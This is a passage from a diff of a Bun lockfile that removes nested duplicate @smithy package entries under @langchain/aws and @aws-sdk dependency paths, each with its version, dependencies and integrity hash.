"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9049,16 +8491,10 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -9067,12 +8503,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
@@ -9093,8 +8525,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="],
@@ -9103,16 +8533,10 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -9155,8 +8579,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9173,8 +8595,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -9185,16 +8605,10 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -9237,8 +8651,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9255,8 +8667,6 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -9267,16 +8677,10 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
